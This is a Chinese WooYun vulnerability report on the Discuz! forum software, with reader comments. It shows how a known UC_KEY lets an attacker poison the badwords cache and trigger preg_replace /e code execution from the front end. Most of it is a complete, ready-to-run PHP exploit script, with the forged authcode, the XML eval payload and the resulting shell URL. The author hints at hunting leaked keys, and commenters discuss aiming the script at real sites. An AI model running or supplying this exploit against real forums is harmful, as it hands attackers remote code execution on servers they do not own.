当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(190) 关注此漏洞

缺陷编号: WooYun-2015-137991

漏洞标题: Discuz利用UC_KEY进行前台getshell2

相关厂商: Discuz!

漏洞作者: Jannock认证白帽子

提交时间: 2015-08-31 10:02

公开时间: 2015-11-29 13:00

漏洞类型: 命令执行

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php代码执行

54人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

http://drops.wooyun.org/papers/7830
其实这里已经说得比较明白了。
利用这个漏洞已经好些时候,包括之前腾讯的shell(http://www.wooyun.org/bugs/wooyun-2010-092923)
不过好像官方还是不太重视,特意再提一下,不用登陆后台,直接前台能利用(顺便打卡^-^)
乌云搜索uc_key会有很多惊喜哦。

详细说明:

\api\uc.php

code 区域
function updatebadwords($get, $post) {

global $_G;



if(!API_UPDATEBADWORDS) {

return API_RETURN_FORBIDDEN;

}



$data = array();

if(is_array($post)) {

foreach($post as $k => $v) {

$data['findpattern'][$k] = $v['findpattern'];

$data['replace'][$k] = $v['replacement'];

}

}

$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';

$fp = fopen($cachefile, 'w');

$s = "<?php\r\n";

$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";

fwrite($fp, $s);

fclose($fp);



return API_RETURN_SUCCEED;

}



更新 uc_client/data/cache/badwords.php

再看

\source\module\forum\forum_ajax.php



code 区域
if($_GET['action'] == 'checkusername') {





$username = trim($_GET['username']);

$usernamelen = dstrlen($username);

if($usernamelen < 3) {

showmessage('profile_username_tooshort', '', array(), array('handle' => false));

} elseif($usernamelen > 15) {

showmessage('profile_username_toolong', '', array(), array('handle' => false));

}



loaducenter();

$ucresult = uc_user_checkname($username);





跟踪 uc_user_checkname

code 区域
function uc_user_checkname($username) {

return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username));

}


define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');





默认情况下

UC_API_FUNC为 uc_api_mysql

code 区域
function uc_api_mysql($model, $action, $args=array()) {

global $uc_controls;

if(empty($uc_controls[$model])) {

include_once UC_ROOT.'./lib/db.class.php';

include_once UC_ROOT.'./model/base.php';

include_once UC_ROOT."./control/$model.php";

eval("\$uc_controls['$model'] = new {$model}control();");

}

if($action{0} != '_') {

$args = uc_addslashes($args, 1, TRUE);

$action = 'on'.$action;

$uc_controls[$model]->input = $args;

return $uc_controls[$model]->$action($args);

} else {

return '';

}

}







继续跟综到

code 区域
function check_usernamecensor($username) {

$_CACHE['badwords'] = $this->base->cache('badwords');

$censorusername = $this->base->get_setting('censorusername');

$censorusername = $censorusername['censorusername'];

$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';

$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;

if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {

return FALSE;

} else {

return TRUE;

}

}





注意到



@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)



两个参数都可控,即可造成命令执行。

漏洞证明:

利用脚本,3.2后要加上 formhash + cookie 绕过xss拦截



code 区域
<?php

$timestamp = time()+10*3600;

$host="**.**.**.**";

$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");

$uc_key="uckey";

$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));



$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="0">

<item id="findpattern">/admin/e</item>

<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>

</item>

</root>';





/* $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; */





$html1 = send($cmd1);

echo $html1;







function send($cmd){

global $host,$code;

$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: ".$host."\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";

$message .= "Host: ".$host."\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;



$fp = fsockopen($host, 80);

fputs($fp, $message);



$resp = '';



while ($fp && !feof($fp))

$resp .= fread($fp, 1024);



return $resp;

}



function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;



$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';



$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);



$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);



$result = '';

$box = range(0, 255);



$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}



for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}



for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}



if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}



}

?>







提交后,shell地址为:



**.**.**.**/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin



修复方案:

http://**.**.**.**/papers/7830 里说得很清楚了。

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-31 12:59

厂商回复:

此问题已经修复过,请使用我们的最新版本。感谢你对discuz的关注

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-31 10:04 | 染血の雪 ( 普通白帽子 | Rank:247 漏洞数:36 | 你挖 或者不挖 漏洞就在哪儿 不会增加 不...)
    2

    前排膜拜

  2. 2015-08-31 10:04 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3072 漏洞数:613 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)
    0

    吊 我来膜拜了

  3. 2015-08-31 10:06 | fuckadmin ( 普通白帽子 | Rank:627 漏洞数:89 | 千里之堤溃于蚁穴)
    0

    打卡

  4. 2015-08-31 10:07 | 无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)
    0

    过来膜拜。。

  5. 2015-08-31 10:12 | 蓝冰 ( 普通白帽子 | Rank:725 漏洞数:61 | -.-)
    0

    膜拜 mark 希望有 dz x xss过滤的突破方法 要不然 payload 被拦截啊

  6. 2015-08-31 10:15 | harbour_bin ( 普通白帽子 | Rank:549 漏洞数:67 | 好好提升自己...)
    0

    膜拜

  7. 2015-08-31 10:20 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)
    0

    前来膜拜

  8. 2015-08-31 10:21 | 大亮 ( 普通白帽子 | Rank:359 漏洞数:70 | 慢慢挖洞)
    2

    我的输入法现在每次想打“一个”,排在第一个的一直是“一哥”,改不回去了,肿么办

  9. 2015-08-31 10:26 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    前排

  10. 2015-08-31 10:28 | if、so 认证白帽子 ( 核心白帽子 | Rank:1199 漏洞数:103 | Enjoy Hacking)
    0

    一哥!

  11. 2015-08-31 10:29 | 牛 小 帅 ( 普通白帽子 | Rank:1466 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    @爱上平顶山 @Jannock Discuz X1.5 X2.5 X3 uc_key getshell 会不会和这个同原理?

  12. 2015-08-31 10:39 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    0

    我靠 膜拜了

  13. 2015-08-31 10:45 | 带馅儿馒头 认证白帽子 ( 核心白帽子 | Rank:1367 漏洞数:154 | 心在,梦在)
    0

    膜拜一哥

  14. 2015-08-31 10:46 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)
    0

    参见教主!教主千秋万载,一统江湖!

  15. 2015-08-31 10:51 | Mark ( 路人 | Rank:12 漏洞数:4 | You deserve more)
    0

  16. 2015-08-31 11:13 | Chora 认证白帽子 ( 普通白帽子 | Rank:377 漏洞数:25 | 生存、生活、生命。)
    0

    来打卡膜拜一哥。

  17. 2015-08-31 11:42 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    前台好啊!

  18. 2015-08-31 12:05 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)
    0

    mark

  19. 2015-08-31 12:30 | 放开那个漏洞,让我来 ( 路人 | Rank:20 漏洞数:3 | 加载失败........)
    0

    我来膜拜了

  20. 2015-08-31 12:49 | xy小雨 ( 普通白帽子 | Rank:197 漏洞数:55 | 成为海贼王的男人)
    0

    永远的一哥

  21. 2015-08-31 13:01 | 牛 小 帅 ( 普通白帽子 | Rank:1466 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    永远的一哥(永远的1rank)o(∩_∩)o

  22. 2015-08-31 13:42 | 小白鼠 ( 路人 | Rank:1 漏洞数:2 | 小呀小呀小白鼠)
    0

    前台还没听说过,不过key如何来呢!

  23. 2015-08-31 14:21 | 蓝冰 ( 普通白帽子 | Rank:725 漏洞数:61 | -.-)
    0

    永远的一哥(永远的1rank)o(∩_∩)o

  24. 2015-08-31 15:46 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)
    0

    一哥 1分

  25. 2015-08-31 16:00 | 牛 小 帅 ( 普通白帽子 | Rank:1466 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    @zeracker 帮我审核一下洞 管理大哥 中企动力的

  26. 2015-08-31 16:46 | scanf ( 核心白帽子 | Rank:1457 漏洞数:206 | 。)
    0

    额⋯⋯早知道我也这样来个

  27. 2015-09-04 21:18 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)
    0

    mark一下

  28. 2015-11-04 14:40 | 酷帥王子 ( 普通白帽子 | Rank:262 漏洞数:71 | 天之屌,人之神!天人合一,乃屌神也!我要...)
    0

    如果目标是www.xxoo.com/bbs/的那host那里又该怎么填写

  29. 2015-11-29 20:06 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    什么鬼,排版渣

  30. 2016-03-19 02:03 | mango ( 核心白帽子 | Rank:2066 漏洞数:303 | 解决问题的第一步,是要承认问题的存在。)
    1

    @酷帥王子 把bbs放在下面 api前面

  31. 2016-03-19 12:57 | 酷帥王子 ( 普通白帽子 | Rank:262 漏洞数:71 | 天之屌,人之神!天人合一,乃屌神也!我要...)
    1

    好的我试试

登录后才能发表评论,请先 登录